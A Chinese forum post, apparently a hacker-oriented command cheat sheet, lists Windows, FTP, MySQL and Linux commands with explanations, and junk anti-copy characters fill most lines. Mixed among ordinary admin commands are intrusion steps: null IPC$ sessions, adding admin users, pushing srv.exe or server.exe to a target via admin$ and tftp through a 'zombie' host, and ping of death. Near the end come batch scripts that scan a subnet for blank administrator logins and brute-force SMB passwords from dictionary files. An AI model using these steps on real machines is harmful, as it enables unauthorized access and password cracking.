|
  
- UID
- 1
- 帖子
- 738
- 精华
- 28
- 积分
- 14443
- 金币
- 2507
- 威望
- 1647
- 贡献
- 1455
|
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 3 {# a5 r6 h7 E9 S
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 - P) W' |! a$ C) C
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: * r/ z2 K* x/ y" T
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H: 2 m' v% d: K& z) i& B
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 9 m6 f; r6 }4 k" ~2 n7 g: d
net use h: /del 删除映射对方到本地的为H:的映射 5 z7 }$ {" Y: _
net user 用户名 密码 /add 建立用户
3 }% M6 a* F1 {' I. ynet user guest /active:yes 激活guest用户
/ \0 \7 Z3 S0 ?( Y* _) q- M% pnet user 查看有哪些用户 / [6 J3 B5 o- W- t, U* i7 ]/ V
net user 帐户名 查看帐户的属性
! j. x) {2 d" ~/ R& {net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 R5 g p7 C3 S8 U9 n
net start 查看开启了哪些服务 4 P; h' _: }& n8 [: c" w; O" n5 }" J
net start 服务名 开启服务;(如:net start telnet, net start schedule)
+ X: F& d1 g2 F4 Unet stop 服务名 停止某服务
( C1 j, h8 s* M$ Pnet time \\目标ip 查看对方时间
! X& g+ |# W; n; V6 O3 v. Dnet time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 / @! j+ p7 X; m0 ?4 B: j
net view 查看本地局域网内开启了哪些共享 : Q! O: m! {1 V+ b+ u
net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 / P$ Z) u( G o
net config 显示系统网络设置
% @4 w2 @: j- ^* rnet logoff 断开连接的共享
1 i1 O, T$ C! U; cnet pause 服务名 暂停某服务 & f I8 k& e( m) ]" E d1 W
net send ip "文本信息" 向对方发信息 : B3 G# _; Z) \
net ver 局域网内正在使用的网络连接类型和信息 9 `/ M& r8 U7 d- @+ p3 m1 X* ]; W
net share 查看本地开启的共享 6 Y, Y! p9 ]8 q7 p
net share ipc$ 开启ipc$共享
( T8 K1 Z; @4 n! Knet share ipc$ /del 删除ipc$共享
+ c% P4 p* j) qnet share c$ /del 删除C:共享
& B1 B' l/ F! }3 |2 Gnet user guest 12345 用guest用户登陆后用将密码改为12345 . D6 |2 R6 W9 k* I- v+ k
net password 密码 更改系统登陆密码 4 w, G. X: x0 ~' _! Z7 X% }. U. P
netstat -a 查看开启了哪些端口,常用netstat -an
- L4 M/ ^! f/ k% S. y; _( cnetstat -n 查看端口的网络连接情况,常用netstat -an
8 U- Y; K& E8 u) q2 anetstat -v 查看正在进行的工作
9 M9 w! b6 B! s& }2 ]netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 0 D( @1 c) C( u+ j! C& D' L
netstat -s 查看正在使用的所有协议使用情况
9 j8 z* W% `" P$ W1 pnbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
1 t- ^6 ~4 |3 l% H* utracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
0 f6 r. K; `! J; yping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
( t1 S3 n$ a4 |2 H! Vping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
r6 n- [# ?# g" G+ C8 e$ F8 z. X6 F7 zipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 0 X$ c7 k" D3 p+ l8 A: T
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
0 u) x. o9 P- L; N$ E/ okill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) , _6 E9 Q5 Q5 }1 l2 `
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
+ |' a6 c4 F) w- m3 Xdel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) 2 j7 N4 u7 ?2 C; q" O) \
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 : e8 V- \$ K i; ?" ^% x# P! E6 Y
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
2 k4 s' `- ], p5 P( k" zat id号 开启已php?name=%D7%A2%B2%E1" class="t_tag">注册的某个计划任务
- G- u8 C" @. ~ F/ y0 ?3 b m1 Qat /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 : s# ]) [+ d8 J c
at id号 /delete 停止某个已注册的计划任务
. W4 [$ R( N- t" eat 查看所有的计划任务 ! |) h% V- k8 F7 m
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
5 y4 k9 W# H9 ~1 Q/ D/ bfinger username @host 查看最近有哪些用户登陆 H. Z# W1 Y4 A- ]6 S0 H* S U
telnet ip 端口 远和登陆服务器,默认端口为23
) `& m/ Y8 ~5 q4 sopen ip 连接到IP(属telnet登陆后的命令) * W$ G9 G4 I$ a! _2 b a
telnet 在本机上直接键入telnet 将进入本机的telnet
+ o4 P: @3 K' a5 zcopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 : r) S, `$ S. z7 F. b
copy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
+ ^4 ]& [% D: Mcppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 % v1 N, I' f- V
copy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: ; x' g8 n1 B# I- u
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 " j, ~( @9 a, S! q* l& c6 U$ d
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 ) r# {: l) G5 x! n
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
+ c' E; H0 z$ B" I* H; U6 ^( a2 kftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) # x5 W/ d/ P8 E* }* U5 `( z
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 9 n/ _/ G+ S- z
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
& l% m: L! Q- S) S- G, a/ ]# c/ Ustart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 4 q+ e8 p/ C9 O7 q# X" \
mem 查看cpu使用情况 4 D$ \3 {3 X5 E3 Y
attrib 文件名(目录名) 查看某文件(目录)的属性
& u( G' o, \& N0 e" W) Nattrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 / }0 x6 r f6 j( t/ Y
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
$ j% `7 F7 o- @# w# a6 D0 xdate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
9 }/ K6 t% i1 |; n+ d/ k$ sset 指定环境变量名称=要指派给变量的字符 设置环境变量
3 `& D& _* f2 U7 Oset 显示当前所有的环境变量
. z3 U, N! ~( G, \set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
5 T2 J9 E5 ]3 l! |1 bpause 暂停批处理程序,并显示出:请按任意键继续....
5 A2 b2 y4 ^ k* D* Cif 在批处理程序中执行条件处理(更多说明见if命令及变量) 3 w7 O& Q: E V* E4 w, ]+ D
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) ' J" |2 U; N0 C; Z8 Z
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) ( ]( d: M' ^; U' f" e& v2 q
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) % h' x8 I; S+ }8 p8 c
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 , u" @: Y: o4 q. L0 F
echo 信息 在屏幕上显示出信息 h! i Z) [5 e( q
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 ) T; V1 ]( L1 X5 T5 K1 o6 I* `1 K
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
6 |3 X1 T$ P7 B: Ifind 文件名 查找某文件 $ B9 B& f4 \6 H; r% a4 P% L- D
title 标题名字 更改CMD窗口标题名字
( i8 t/ D9 _, h: Q; ?" Q; ^8 A" Kcolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
$ O2 ~$ z. ~' h7 mprompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
1 _- L) M! J: c4 q" d- C; F9 K# Eprint 文件名 打印文本文件 7 M3 v3 I6 J5 q! {# l
ver 在DOS窗口下显示版本信息
$ n9 p6 I) y- p: @% ]winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
# D8 J( Q( e$ U! M3 G4 eformat 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS + q# Q6 H/ S1 D
md 目录名 创建目录
9 a2 O' }4 K, jreplace 源文件 要替换文件的目录 替换文件 ; g2 a! E' u% ]/ p
ren 原文件名 新文件名 重命名文件名
' \0 P" H& e3 S9 W* }* s. p+ x8 C0 atree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
% g; O4 |1 B# \: y( ]type 文件名 显示文本文件的内容
3 Z% }" s8 |# i/ e w$ Amore 文件名 逐屏显示输出文件 & ?) e' w! q! p. \
doskey 要锁定的命令=字符8 x, N" A$ J9 S
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
8 a! {7 P: j$ F7 f, t- a/ ^0 w5 Itaskmgr 调出任务管理器 . |/ W- c) i9 z4 R
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 & n0 a V+ f, {+ F/ X# o7 f
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
E& S& l Q w' G/ }9 n' _ vexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe & z+ D+ Q& L- b2 K
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 + u) D8 `1 H0 S0 `
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
u( {' S" a# {, Z# C. m, t9 Uregedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; % A G5 v R$ v- k2 j/ ~2 x \' }. t% I6 g
regedit /e 注册表文件名 导出注册表 " z8 p' w4 f: q6 s" j
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 : d% N7 a Y* A
cacls 文件名 查看文件的访问用户权限列表
$ I/ H) j; R2 U8 n0 dREM 文本内容 在批处理文件中添加注解 + D( j' E7 ?+ z! e0 ~+ a. L- k3 h
netsh 查看或更改本地网络配置情况
8 d$ S6 g4 c8 Z/ Q5 RIIS服务命令:8 r4 c( X; K; n2 Z- m, V+ N
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) 7 j; e/ h8 ?- w( w h* c, c6 g
iisreset /start或stop 启动(停止)所有Internet服务 . ^/ g+ c" W& x5 Z0 b, [5 v. J9 R
iisreset /restart 停止然后重新启动所有Internet服务
, I5 l, G+ v5 x) m; T$ siisreset /status 显示所有Internet服务状态 . S0 f2 }2 ]( Y7 a: x8 i
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
; a& [/ `1 s& c7 n; Diisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
* h' ~7 C" `$ f9 ~( w% Wiisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
( R$ g4 A9 _& Q. Qiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 3 y& ?2 H! X) H
FTP 命令: (后面有详细说明内容) . c( h2 \4 B! T9 [' t7 R4 R
ftp的命令行格式为:7 x$ l F' ~0 e4 Y. N7 n8 W
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。/ g1 m/ r8 q4 E0 h9 z* W
-d 使用调试方式。
9 A Z/ N. l! Q$ H& a3 R-n 限制ftp的自动登录,即不使用.netrc文件。
- ]( A) a* y% r9 ]-g 取消全局文件名。
8 l! V2 u- E3 C* w2 f# nhelp [命令] 或 ?[命令] 查看命令说明
) n/ K) [; A: ~0 I' H7 Kbye 或 quit 终止主机FTP进程,并退出FTP管理方式.
/ d) W7 e! C# V8 u. y# Z3 C3 Hpwd 列出当前远端主机目录
$ Q1 }! {2 Y3 A3 nput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 , b v0 }7 x2 m8 R' \5 m- e3 z
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 - @$ u9 ~0 L: P# [4 Z
mget [remote-files] 从远端主机接收一批文件至本地主机 7 g; x6 S8 Z; j o( l
mput local-files 将本地主机中一批文件传送至远端主机
0 n4 P; d* V. `% X. Jdir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 : ]+ P2 y3 y, }6 A
ascii 设定以ASCII方式传送文件(缺省值) % L' K# J* T8 h: W& a
bin 或 image 设定以二进制方式传送文件 , D" ?+ K' R* ]( z, K9 t4 g8 d
bell 每完成一次文件传送,报警提示 & M! R9 I; F& t) _& R
cdup 返回上一级目录
- \/ ^/ j4 E; e# g7 W+ c3 B: `close 中断与远程服务器的ftp会话(与open对应) ' e0 R" G3 q% R) q
open host[port] 建立指定ftp服务器连接,可指定连接端口 8 q- l% E8 |+ I2 n8 y- ^- ^
delete 删除远端主机中的文件 7 f& ^6 t4 v; w; c! Z( `( L% a
mdelete [remote-files] 删除一批文件
% u& r+ p* C& Q6 ~/ R- F smkdir directory-name 在远端主机中建立目录 8 I+ i! u% s( _; G5 G2 v
rename [from] [to] 改变远端主机中的文件名
% I% Q$ L! s; E6 N- M% vrmdir directory-name 删除远端主机中的目录 & Y: d& N/ a4 r$ `( w! o
status 显示当前FTP的状态 6 `# W( w6 I8 b( L1 E. y& C( V
system 显示远端主机系统类型 * O* `( n6 Q7 N$ ?
user user-name [password] [account] 重新以别的用户名登录远端主机 9 i3 B3 G0 ]6 y+ Z0 F( l
open host [port] 重新建立一个新的连接
+ |/ [. X! u5 E5 _4 z2 A9 {* Hprompt 交互提示模式 % Y1 Y* `! H$ X! p" u' x
macdef 定义宏命令 " v7 X& X+ n/ P! I
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
p$ m& `! }1 ]( `chmod 改变远端主机的文件权限
$ s$ \7 {1 k' L, ]9 Zcase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 - D& u+ {# V4 R7 e/ U' ]
cd remote-dir 进入远程主机目录
7 r# {! d8 p l" A: x" pcdup 进入远程主机目录的父目录
6 L" Q _( k0 _% k+ g, b! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip ! V- O. D1 \* r9 F8 t2 c7 r& _
MYSQL 命令:
' {* h- r: H( F) H0 Imysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
& m2 F3 j4 E1 b(例:mysql -h110.110.110.110 -Uroot -P123456
$ s S b* \ i) D+ ~注:u与root可以不用加空格,其它也一样) ' N. B# }! v5 P$ B
exit 退出MYSQL 0 V5 ~$ d3 n' V" W; ~6 e4 q, I
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
+ ?2 P6 K0 f% D/ G& Q' y+ t) ?+ ~grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 5 i8 c8 a" Z9 ^7 h
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
) e1 u; c7 l. u$ D$ H! Quse mysql; d; [; r+ x& w7 Z0 `* m
show tables; 显示库中的数据表
! j# a# C% e# F7 vdescribe 表名; 显示数据表的结构
/ f% Y; ~) l' w7 }8 u8 f5 Ucreate database 库名; 建库 : N3 X. x: C: u! e( \
use 库名;
% b9 T. r+ P n+ G! |# j) Gcreate table 表名 (字段设定列表); 建表
1 H! g# J8 C9 Wdrop database 库名;
5 b1 d$ L! K4 P" fdrop table 表名; 删库和删表
# }9 [& i9 W8 [$ I" p, e- J* {delete from 表名; 将表中记录清空 + E; D @& Z2 {6 a# O
select * from 表名; 显示表中的记录 1 ^; Y- y+ l4 a0 s$ |
mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
5 ?1 n; t& @- ]( Hwin2003系统下新增命令(实用部份):
7 |7 F8 ^+ C, K/ ^- G2 ?* Gshutdown /参数 关闭或重启本地或远程主机。
. e! V5 r- n1 l参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。3 Z+ T; z U! N; c2 q8 c
例:shutdown /r /t 0 立即重启本地主机(无延时)
/ V q. }! X1 ~taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。, g+ _4 r8 S- d$ F y4 U
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 7 }& q, K$ ~) ~$ G/ S0 @2 W9 ~
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
* ?1 ~3 \7 R; _7 \' b参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程
" h3 ^: D+ {% w( n/ p, K/ j* vLinux系统下基本命令: 要区分大小写
5 Z$ H: K$ P7 r* Zuname 显示版本信息(同win2K的 ver)
' k& q" v: b. ndir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
( Q3 D9 I9 L" U5 n- p1 Y: tpwd 查询当前所在的目录位置 0 t! Q" G+ @' C2 h0 \+ X
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 1 D" W7 @& [: P3 E+ Y, T
cat 文件名 查看文件内容
6 F7 y. w- W8 i5 K- G7 qcat >abc.txt 往abc.txt文件中写上内容。
, d, ?0 V: P* a" e# v; H% j" Z& A8 } h) xmore 文件名 以一页一页的方式显示一个文本文件。 7 V( L# S" B! ?& }- \* p! m
cp 复制文件 ' x( x6 [8 p# _8 l; [* w. P i
mv 移动文件 ! p4 x; |9 K$ s
rm 文件名 删除文件,rm -a 目录名删除目录及子目录 ) y0 F3 {& R# g3 H/ F
mkdir 目录名 建立目录
! M* e5 p! H/ T$ |rmdir 删除子目录,目录内没有文档。
7 @! n+ a. n5 s0 p2 |chmod 设定档案或目录的存取权限
# p# j/ F* g% e+ Igrep 在档案中查找字符串
* U/ C5 w) p' `( l9 jdiff 档案文件比较 + ^ J" e( p; I6 |; r
find 档案搜寻
" s9 e# Y' a5 D. }+ v( ]. mdate 现在的日期、时间
3 L' h. w: e3 \who 查询目前和你使用同一台机器的人以及Login时间地点 ( I/ ?# U4 I( [' [) D
w 查询目前上机者的详细资料 & P3 ?9 O0 k, {1 t1 a/ t0 B
whoami 查看自己的帐号名称
# P& \+ {- k7 ^4 I5 O/ e' hgroups 查看某人的Group
1 E" ]/ S9 `1 g* }4 Z Hpasswd 更改密码 , i& r7 g/ K1 H/ |7 _2 F
history 查看自己下过的命令 ! L/ X& R# N4 t& f( c; N
ps 显示进程状态
+ U, C+ b0 y4 Y Q5 Q5 pkill 停止某进程
4 `3 `7 H4 ^ j( q6 _! {gcc 黑客通常用它来编译C语言写的文件
& Q( y$ {; Z+ t t, X# asu 权限转换为指定使用者
# I( x" v8 j9 W5 l( ctelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 ' K& f1 g: v) `$ m8 b) Y3 l
ftp ftp连接上某服务器(同win2K! g h# w7 v( a9 ]9 M5 c, }# [
附:批处理命令与变量9 [8 L+ |% Z1 x6 i7 R& @$ M
1:for命令及变量 基本格式: / r2 A- b; {/ H: `" {+ ?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
* W6 N: T+ D) S' j4 v批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3" G: c% b. g R0 W; v
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
) y- q8 P( z; N, h) Kcommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
% z& n# n4 o- p! W2 E7 p$ W" w* lcommand_parameters:为特定命令指定参数或命令行开关# x9 |, F! K A+ Q
IN (set):指在(set)中取值;DO command :指执行command
6 M1 u9 O- |: z6 c8 j( g% ~参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
4 L/ V+ R! F2 T- m. c用法举例:
) H$ i, B# _& k# B& C@echo off 1 ?8 r8 @! v9 Y+ W6 W+ s
echo 用法格式:test.bat *.*.* > test.txt
/ |' k; I$ `9 r9 A% c3 vfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt ) d [+ [/ U ~3 P$ U* e6 B
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
8 d# N8 h" g) q/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 & A( T- c2 U/ \" c
@echo off 4 ^% K3 u8 {$ v. G b! `
echo 用法格式:ok.bat ip
* t( G8 I0 n0 YFOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 - W0 L' @' H+ U7 V3 Z
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
! c! r% k+ x# ?! t! p) M7 R2:if命令及变量 基本格式: ' l" Z- y$ _+ {) v7 R
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。$ v( ~+ A5 m, @1 c2 q7 T
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
9 L4 h3 W# L$ F9 s1 J8 k+ ~0 指发现并成功执行(真);1 指没有发现、没执行(假)。 0 b- ^3 ^# Y& L0 Q. u% l
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。" z2 S( e _5 Y0 j
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") - w% `( |+ m* d2 b4 f* K
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
3 p& v; i/ ~2 e4 P- t% n9 Q0 Q( T例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 # }9 x' O/ \3 _9 P
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” |
|